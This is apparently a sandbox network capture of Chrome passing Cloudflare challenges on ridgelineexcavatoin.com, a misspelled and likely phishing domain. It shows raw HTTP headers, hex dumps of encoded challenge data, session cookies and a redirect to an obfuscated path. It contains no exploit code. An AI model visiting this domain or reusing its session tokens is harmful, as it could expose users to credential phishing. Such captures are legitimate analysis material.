2024-04-18 21:05:39 UTC	1369	IN	Data Raw: 39 38 36 0d 0a 58 73 47 4f 73 4d 36 52 67 49 36 65 44 74 41 42 62 74 37 77 50 65 36 42 62 36 48 52 77 57 2f 76 77 53 2b 68 4c 71 44 66 45 51 42 66 63 6f 48 42 59 56 4c 42 6f 4e 4f 7a 51 58 45 54 51 59 47 67 49 34 4f 78 73 45 47 54 77 66 55 54 45 50 4a 79 49 31 52 79 30 32 4f 55 38 77 4b 52 52 59 50 69 30 71 54 45 51 62 4a 43 41 37 61 45 45 67 51 6d 31 62 62 6b 64 67 53 57 78 48 50 6b 46 7a 55 7a 42 6e 62 31 45 31 4e 56 68 65 54 59 42 75 59 48 52 76 51 47 68 57 55 6c 56 71 51 34 78 6d 65 31 74 79 6a 57 79 56 54 49 68 73 59 32 35 76 63 57 68 2b 66 49 42 39 64 6f 79 45 6c 48 36 58 6b 33 4e 6c 63 34 4b 65 67 57 69 41 61 4c 43 45 6c 49 2b 46 61 49 36 45 6d 6f 79 58 72 59 61 70 6c 6f 75 4b 6e 4b 47 33 6d 70 36 6e 6b 34 47 6d 70 4a 6d 56 77 36 57 64 6a 4a 43 70 Data Ascii: 986XsGOsM6RgI6eDtABbt7wPe6Bb6HRwW/vwS+hLqDfEQBfcoHBYVLBoNOzQXETQYGgI4OxsEGTwfUTEPJyI1Ry02OU8wKRRYPi0qTEQbJCA7aEEgQm1bbkdgSWxHPkFzUzBnb1E1NVheTYBuYHRvQGhWUlVqQ4xme1tyjWyVTIhsY25vcWh+fIB9doyElH6Xk3Nlc4KegWiAaLCElI+FaI6EmoyXrYaplouKnKG3mp6nk4GmpJmVw6WdjJCp
2024-04-18 21:05:39 UTC	1076	IN	Data Raw: 72 33 45 51 67 4b 38 4f 72 2b 47 50 4c 39 38 78 4c 65 42 68 67 66 39 77 37 6f 43 43 51 50 2b 77 77 70 45 77 4d 69 47 41 62 31 4d 50 49 47 4b 43 66 35 41 54 63 62 49 7a 51 36 4f 54 34 38 45 7a 63 2b 4f 52 31 45 48 30 52 4c 52 68 42 46 4c 6b 6f 52 4c 68 46 47 4f 43 59 71 54 52 78 55 46 46 55 79 54 55 52 61 58 31 77 34 58 54 30 2f 4f 32 52 52 4f 31 31 68 4d 45 5a 48 59 30 52 6c 53 6d 30 7a 63 45 74 59 64 6e 42 54 62 6e 6c 69 56 33 42 2f 57 31 5a 2b 52 6f 43 43 65 6c 2b 4e 63 6e 74 79 68 57 4e 2f 64 34 6c 70 68 56 68 32 6c 35 47 56 61 71 42 37 67 35 79 51 67 47 53 44 64 4a 71 49 6e 48 36 66 61 58 71 79 6c 49 4b 57 63 4a 39 79 73 59 69 77 69 33 71 4b 71 62 53 65 67 4b 4f 56 66 62 53 7a 67 36 4b 54 75 5a 79 6d 78 4c 79 4c 6d 36 37 41 6f 70 4b 70 74 71 54 46 71 Data Ascii: r3EQgK8Or+GPL98xLeBhgf9w7oCCQP+wwpEwMiGAb1MPIGKCf5ATcbIzQ6OT48Ezc+OR1EH0RLRhBFLkoRLhFGOCYqTRxUFFUyTURaX1w4XT0/O2RRO11hMEZHY0RlSm0zcEtYdnBTbnliV3B/W1Z+RoCCel+NcntyhWN/d4lphVh2l5GVaqB7g5yQgGSDdJqInH6faXqylIKWcJ9ysYiwi3qKqbSegKOVfbSzg6KTuZymxLyLm67AopKptqTFq
2024-04-18 21:05:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49777	104.17.2.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:39 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:39 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 18 Apr 2024 21:05:39 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: wQ4xrOmqEhgZfMp68FF9sQ==$HjW0ZctBp7CJGKI874MUXA== Server: cloudflare CF-RAY: 87679d3f0a05adc9-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:39 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49778	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:39 UTC	1081	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1569742461:1713472060:wAhT1heed4LdXHG2SnaUyUQLhQzlBAHAgZDrJ7xk3UI/87679d084da044dd/87bab2d808f5b85 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive Content-Length: 3415 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: 87bab2d808f5b85 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ridgelineexcavatoin.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ridgelineexcavatoin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:39 UTC	3415	OUT	Data Raw: 76 5f 38 37 36 37 39 64 30 38 34 64 61 30 34 34 64 64 3d 6c 6d 4c 25 32 62 66 24 38 59 61 48 62 24 62 44 5a 44 75 44 72 44 69 2b 43 47 47 44 4c 2b 33 6e 44 50 38 38 44 48 69 64 37 44 4b 44 7a 69 64 50 38 4a 4c 2b 51 36 44 38 61 69 24 44 73 44 62 6e 24 59 38 75 77 48 69 24 63 44 43 42 62 2b 5a 44 32 35 6e 44 65 44 73 79 6a 44 77 6c 66 78 38 35 44 38 6d 38 73 4d 44 38 59 37 47 2b 4b 4f 79 37 46 44 32 4c 62 44 6a 63 47 61 38 56 44 24 76 24 44 42 66 69 4a 50 6b 7a 4a 44 38 48 75 44 64 52 6c 48 44 4a 6d 49 46 66 4f 6a 62 44 4a 49 67 44 24 5a 4d 73 61 44 2d 2b 38 79 46 64 4c 64 6d 2b 38 6a 4f 58 61 73 4b 36 24 69 32 63 44 44 32 4a 65 50 44 67 61 4c 4e 67 61 37 4d 44 44 59 30 38 36 50 7a 79 43 5a 7a 2b 24 75 53 43 44 2b 44 44 6e 44 4e 38 69 6d 78 2b 4a 79 6a 6c Data Ascii: v_87679d084da044dd=lmL%2bf$8YaHb$bDZDuDrDi+CGGDL+3nDP88DHid7DKDzidP8JL+Q6D8ai$DsDbn$Y8uwHi$cDCBb+ZD25nDeDsyjDwlfx85D8m8sMD8Y7G+KOy7FD2LbDjcGa8VD$v$DBfiJPkzJD8HuDdRlHDJmIFfOjbDJIgD$ZMsaD-+8yFdLdm+8jOXasK6$i2cDD2JePDgaLNga7MDDY086PzyCZz+$uSCD+DDnDN8imx+Jyjl
2024-04-18 21:05:39 UTC	1343	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out: XZlZlqdL5OwR+Rr4/e0JL2fGL8dZaWgkjwYwpi+44W+UcSKy8y+vnrEatntolcBWiRwaPACd7EErF1e0zmwDCQ==$YOgiath4/uhuavwHrpg2/A== cf-chl-out-s: aF9ypSM1TRJFCv+neZ7/6fj8CbmxvNMBCgFf2h0ZdUuIY3pniib/YxZQ0mYgY1jE0F0IXQYeadwplbbauOofLcxiqWBruz+vRbleMm32H1ZDE+l2GcBdHZeaTRO8ez+q5YUgl5uNU573d3L5dSdxmvJ7fo9s+NiY3vLACyT6cOw0fN4l+SzHuHnN036x2s0CmkVtkwNvhXfqGrEux1xSmxz0Gcm/NOif2l06nVGraEk3ElJD6L111EIeAWe+JuACabIeUdk6JmfKeHVsM/8GTEfGe6ouCqyXkDBRCIyuGGtzahGEakjTl04Zs/mFyyxApA0wiCzy0+TmsBFYEvoIjb7ws/PXVvLofsg88DOtFMM+B13im80e/iA+SOLl1GdZ1BWI6p28DBwnruzpp76sr53zFOLPihkQsPL8JXGml9OIAgr9T01sujjR0NiEMSZ1lC6mWJnWO3ZSvybhRJngJTzmFUzcdhbwdNoR3y5raLMjiJs1BkBz8bKsn3BNMDlm$1Ffua2q5O5vuFxctCYMiMA== set-cookie: cf_chl_rc_m=;Expires=Wed, 17 Apr 2024 21:05:39 GMT;SameSite=Strict vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nOcivmClNC3s7VXZFJke17jmGrq3sAavdh9pXh81uJzKUE%2FA95zWMmKrZR49fLgL6oWHx93761yIOYFuVvVb0lxKjstiIhhZqOp%2FluNUrcHIw2xMQ52y8XjMK5CfaM9c45VxUuFZNXsD2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d3e3dfa53ee-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:39 UTC	26	IN	Data Raw: 62 31 36 0d 0a 58 55 69 4d 62 34 56 66 59 49 5a 6f 69 47 43 51 63 6e 6c 30 5a Data Ascii: b16XUiMb4VfYIZoiGCQcnl0Z
2024-04-18 21:05:39 UTC	1369	IN	Data Raw: 6d 65 64 55 70 2b 66 6d 31 32 56 6e 34 39 68 70 71 61 6b 58 71 6d 6e 6d 47 35 74 6f 6d 32 4f 66 6e 5a 32 74 5a 46 36 65 72 6d 4c 76 72 79 74 6b 48 79 2f 6c 70 4e 38 6e 36 53 69 78 34 6e 45 66 38 69 69 77 5a 6e 4f 75 34 72 57 77 70 4c 51 73 72 4b 32 72 4a 75 31 33 39 36 66 73 4f 53 38 6f 37 72 6f 34 71 4b 39 75 74 79 2b 32 71 6e 70 76 36 72 65 30 38 66 33 74 75 33 72 2b 2b 57 36 31 76 37 66 75 62 2f 63 7a 2f 45 41 7a 76 54 78 42 63 44 30 41 2f 6a 4c 2b 77 54 6b 37 4e 2f 55 41 4f 50 58 45 78 62 74 46 4f 37 34 46 4e 73 4f 44 50 34 4e 32 75 33 79 46 69 4d 4c 39 78 73 4a 47 50 76 68 41 42 2f 74 43 77 41 4f 4a 66 49 4f 4e 67 34 31 46 53 6f 63 39 7a 45 68 4a 50 77 32 4a 6a 73 45 52 41 4d 67 50 55 73 6b 4a 6c 41 2f 4b 69 64 49 4b 6b 68 4e 45 44 41 6d 4f 46 42 4e Data Ascii: medUp+fm12Vn49hpqakXqmnmG5tom2OfnZ2tZF6ermLvrytkHy/lpN8n6Six4nEf8iiwZnOu4rWwpLQsrK2rJu1396fsOS8o7ro4qK9uty+2qnpv6re08f3tu3r++W61v7fub/cz/EAzvTxBcD0A/jL+wTk7N/UAOPXExbtFO74FNsODP4N2u3yFiML9xsJGPvhAB/tCwAOJfIONg41FSoc9zEhJPw2JjsERAMgPUskJlA/KidIKkhNEDAmOFBN
2024-04-18 21:05:39 UTC	1369	IN	Data Raw: 32 53 58 61 47 6b 6c 61 75 57 66 70 6c 6c 71 6e 2b 45 70 34 69 44 73 59 65 48 6c 4b 2b 4e 68 34 78 39 75 72 56 79 6a 61 74 31 66 37 44 41 6e 6f 4b 6b 79 38 76 43 76 38 43 4c 7a 35 47 71 6f 34 36 74 6a 61 2f 55 31 61 58 5a 73 4d 61 72 7a 5a 71 64 76 37 72 4f 72 36 58 46 78 4c 6d 30 6e 64 76 67 74 36 33 48 36 61 6d 39 34 64 43 74 73 4f 2f 34 35 72 58 4b 31 63 37 6e 75 72 6a 72 34 66 48 50 2b 2b 48 51 2f 64 72 4b 42 51 76 37 36 39 67 54 7a 66 37 67 36 78 44 76 46 2b 66 6f 44 66 62 71 43 74 6b 57 38 69 4d 65 33 76 6f 6f 49 67 44 78 41 79 50 72 33 77 55 68 2f 43 66 38 45 53 30 6f 38 77 51 34 46 42 51 57 43 53 30 4f 47 67 6f 5a 48 79 42 45 45 79 41 33 41 53 51 6d 4f 30 77 6e 4b 6b 4a 4c 51 43 30 4d 48 69 6b 77 53 79 49 77 4b 6a 59 6d 4d 7a 6f 58 58 44 67 7a 4d Data Ascii: 2SXaGklauWfpllqn+Ep4iDsYeHlK+Nh4x9urVyjat1f7DAnoKky8vCv8CLz5Gqo46tja/U1aXZsMarzZqdv7rOr6XFxLm0ndvgt63H6am94dCtsO/45rXK1c7nurjr4fHP++HQ/drKBQv769gTzf7g6xDvF+foDfbqCtkW8iMe3vooIgDxAyPr3wUh/Cf8ES0o8wQ4FBQWCS0OGgoZHyBEEyA3ASQmO0wnKkJLQC0MHikwSyIwKjYmMzoXXDgzM
2024-04-18 21:05:39 UTC	81	IN	Data Raw: 56 6f 34 4a 71 62 61 36 41 72 49 61 4b 63 33 35 32 68 49 2b 49 67 36 69 51 74 71 64 34 6b 36 79 37 66 4c 53 6d 6e 58 37 48 66 4d 69 6a 79 59 43 6e 6d 4a 2f 45 30 38 43 66 6c 61 6d 56 75 4d 33 44 6c 73 76 47 7a 64 54 66 6d 4c 61 36 6f 5a 0d 0a Data Ascii: Vo4Jqba6ArIaKc352hI+Ig6iQtqd4k6y7fLSmnX7HfMijyYCnmJ/E08CflamVuM3DlsvGzdTfmLa6oZ
2024-04-18 21:05:39 UTC	721	IN	Data Raw: 32 63 61 0d 0a 2b 66 73 2b 4f 71 77 37 7a 4b 78 64 6d 39 30 64 44 66 37 65 79 73 72 62 62 71 77 74 4c 75 30 4e 44 51 33 2b 6e 42 39 50 58 30 76 2b 62 37 2b 2f 58 45 43 41 54 32 42 4f 6e 35 2f 4d 77 45 46 2f 66 6e 2b 50 51 54 47 50 4d 4d 33 64 66 63 38 78 54 68 41 39 38 6d 38 75 58 6f 46 65 55 6b 42 67 6f 77 4d 65 6f 78 4a 78 51 57 45 53 55 58 4c 79 30 63 42 78 49 77 43 6a 50 35 43 30 49 67 4a 54 77 6a 46 67 51 49 4e 69 55 59 42 52 38 5a 48 42 4d 4b 55 78 39 57 46 30 63 30 58 43 67 70 46 45 38 77 57 54 31 56 4e 43 49 37 61 43 42 68 58 6d 56 62 57 30 38 2b 53 57 74 4b 50 33 4e 6e 58 6a 39 51 64 30 6b 34 5a 6c 68 59 55 49 42 39 57 33 6c 36 50 6d 64 35 52 56 74 6f 67 49 47 4d 57 55 47 4a 62 59 69 45 69 31 46 53 56 32 56 54 55 70 64 59 66 4a 5a 72 61 48 64 63 Data Ascii: 2ca+fs+Oqw7zKxdm90dDf7eysrbbqwtLu0NDQ3+nB9PX0v+b7+/XECAT2BOn5/MwEF/fn+PQTGPMM3dfc8xThA98m8uXoFeUkBgowMeoxJxQWESUXLy0cBxIwCjP5C0IgJTwjFgQINiUYBR8ZHBMKUx9WF0c0XCgpFE8wWT1VNCI7aCBhXmVbW08+SWtKP3NnXj9Qd0k4ZlhYUIB9W3l6Pmd5RVtogIGMWUGJbYiEi1FSV2VTUpdYfJZraHdc
2024-04-18 21:05:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49779	104.21.20.67	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:39 UTC	485	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1569742461:1713472060:wAhT1heed4LdXHG2SnaUyUQLhQzlBAHAgZDrJ7xk3UI/87679d084da044dd/87bab2d808f5b85 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:40 UTC	724	IN	HTTP/1.1 400 Bad Request Date: Thu, 18 Apr 2024 21:05:40 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: +KcSMYJ84K8/kItrBiGwRg==$PRaYrQ4o+huQ9CgknnGRFw== Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pqh6O6vIivqY7sR7ub93f%2B9q2MmHFWpWNxtjwds94mEznJe7d%2BnGsoV4RBdBq%2F7%2F8vaL%2BQgS4Wc1%2BYpVrkJvzPRJB65GZ%2FpgYCKYcbWaR3YssybRaGtvFpB1P3kykUg4g92ai6Cg1HGqMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d424dfa6740-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:40 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49780	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:40 UTC	1207	OUT	POST / HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive Content-Length: 4795 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 Origin: https://ridgelineexcavatoin.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ridgelineexcavatoin.com/?__cf_chl_tk=BP5RxwfzMYJtunnS_MKgj1VoZVmxymZ5g5w27TbnMio-1713474330-0.0.1.1-1578 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:40 UTC	4795	OUT	Data Raw: 33 33 34 61 63 31 63 32 31 63 34 35 31 37 36 35 30 37 35 39 36 37 31 34 62 33 31 38 32 35 31 64 34 65 33 31 33 30 35 63 34 38 36 33 35 36 31 34 62 35 61 32 64 37 30 63 32 37 63 37 36 30 61 36 3d 4a 69 57 54 33 33 4c 68 2e 31 63 6e 30 57 45 72 59 35 61 36 5a 6c 56 6b 42 54 4e 74 6f 54 65 7a 6b 39 42 56 31 6a 78 59 67 72 30 2d 31 37 31 33 34 37 34 33 33 30 2d 31 2e 31 2e 31 2e 31 2d 33 30 31 78 47 64 75 49 51 4a 46 59 45 30 52 47 77 31 35 55 75 4a 6d 2e 61 48 67 4c 61 78 5f 45 4d 74 34 49 63 76 58 43 59 49 58 58 33 4b 6b 65 6a 54 4c 58 68 4c 71 6b 68 70 5f 74 35 52 58 4b 39 43 5f 51 55 2e 6c 71 74 46 49 48 79 4e 79 5f 75 71 59 53 5a 32 7a 53 6d 39 4d 63 36 38 34 5f 6c 53 35 57 76 4b 62 64 6f 69 4f 53 73 74 4b 38 31 63 73 68 74 73 38 6c 51 69 56 55 55 43 43 Data Ascii: 334ac1c21c45176507596714b318251d4e31305c48635614b5a2d70c27c760a6=JiWT33Lh.1cn0WErY5a6ZlVkBTNtoTezk9BV1jxYgr0-1713474330-1.1.1.1-301xGduIQJFYE0RGw15UuJm.aHgLax_EMt4IcvXCYIXX3KkejTLXhLqkhp_t5RXK9C_QU.lqtFIHyNy_uqYSZ2zSm9Mc684_lS5WvKbdoiOSstK81cshts8lQiVUUCC
2024-04-18 21:05:40 UTC	1163	IN	HTTP/1.1 302 Found Date: Thu, 18 Apr 2024 21:05:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; path=/; expires=Fri, 18-Apr-25 21:05:40 GMT; domain=.ridgelineexcavatoin.com; HttpOnly; Secure; SameSite=None Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=de422855d9abb46951601081e5109730; path=/ Location: ./d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ECYoJ5n%2BlhWrJDrpOdq4DvP1SDKACFz48lAgmQe922GeurIaVD%2BA%2Bpt92M2LJ6iE6mwlrf7BL%2BkyTwOg%2FMBIohPdb2SOYYOoESCDXVQezOJ7Ue1G6JoDpV4xBVO6hokOZorN3h1ZcFPYPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d41792c1d72-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49781	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:40 UTC	954	OUT	GET /favicon.ico HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ridgelineexcavatoin.com/?__cf_chl_tk=BP5RxwfzMYJtunnS_MKgj1VoZVmxymZ5g5w27TbnMio-1713474330-0.0.1.1-1578 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:40 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Thu, 18 Apr 2024 21:05:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16865 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: lfx3QzNnJ9aVVbBLQXySHp/hoUmT/V9jZjgy37y91uT+sPCbtZZ/8xQeT9SlIS7UJwgdU/mQZineWiTVyjmNj/yGn+Lsn0hqtLbTVfl8RrQOi1H9dGX3BvfznUjQFvnWzS4HciUdyxhYyaJJqX8uWw==$6R2pQsQi/UTXrpUEDdCMcg== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-18 21:05:40 UTC	423	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 56 56 67 5a 38 76 47 25 32 46 76 44 74 6a 35 25 32 42 6f 68 67 6f 53 73 71 52 6f 30 6f 48 77 5a 7a 79 6d 78 50 46 4d 59 58 7a 4e 53 25 32 46 54 46 63 73 4f 32 63 75 39 6d 76 48 53 49 4d 5a 78 25 32 42 6c 55 4e 6d 35 4a 32 31 64 71 30 56 50 79 30 65 42 70 70 4a 54 52 44 4f 6f 59 51 30 57 30 64 79 6d 31 67 53 73 74 4e 4e 34 4e 35 64 42 6b 76 57 61 73 36 66 7a 74 6e 56 35 51 78 34 79 72 7a 42 71 52 41 6f 59 66 39 6c 45 46 64 57 7a 47 57 37 6a 31 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VVgZ8vG%2FvDtj5%2BohgoSsqRo0oHwZzymxPFMYXzNS%2FTFcsO2cu9mvHSIMZx%2BlUNm5J21dq0VPy0eBppJTRDOoYQ0W0dym1gSstNN4N5dBkvWas6fztnV5Qx4yrzBqRAoYf9lEFdWzGW7j1g%3D%3D"}],"group":"cf-nel",
2024-04-18 21:05:40 UTC	1025	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
